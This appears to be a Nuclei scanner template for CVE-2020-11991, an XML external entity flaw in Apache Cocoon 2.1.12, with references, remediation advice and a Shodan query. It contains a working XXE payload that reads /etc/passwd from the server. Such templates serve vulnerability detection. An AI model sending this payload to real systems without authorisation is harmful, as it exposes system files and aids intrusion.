51 lines
1.5 KiB
YAML
51 lines
1.5 KiB
YAML
id: CVE-2020-11991
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info:
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name: Apache Cocoon 2.1.12 - XML Injection
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author: pikpikcu
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severity: high
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description: Apache Cocoon 2.1.12 is susceptible to XML injection. When using the StreamGenerator, the code parses a user-provided XML. A specially crafted XML, including external system entities, can be used to access any file on the server system.
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reference:
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- https://lists.apache.org/thread/6xg5j4knfczwdhggo3t95owqzol37k1b
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- https://nvd.nist.gov/vuln/detail/CVE-2020-11991
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- https://lists.apache.org/thread.html/r77add973ea521185e1a90aca00ba9dae7caa8d8b944d92421702bb54%40%3Cusers.cocoon.apache.org%3E
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remediation: Upgrade to Apache Cocoon 2.1.13 or later.
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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cvss-score: 7.5
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cve-id: CVE-2020-11991
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cwe-id: CWE-611
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cpe: cpe:2.3:a:apache:cocoon:*:*:*:*:*:*:*:*
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epss-score: 0.91129
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metadata:
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max-request: 1
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shodan-query: http.html:"Apache Cocoon"
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tags: cve,cve2020,apache,xml,cocoon,xxe
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http:
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- method: POST
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path:
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- "{{BaseURL}}/v2/api/product/manger/getInfo"
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headers:
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Content-Type: "text/xml"
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body: |
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<!--?xml version="1.0" ?-->
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<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
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<userInfo>
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<firstName>John</firstName>
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<lastName>&ent;</lastName>
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</userInfo>
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matchers-condition: and
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matchers:
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- type: regex
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regex:
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- "root:.*:0:0:"
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- type: status
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status:
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- 200
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# Enhanced by mp on 2022/04/05
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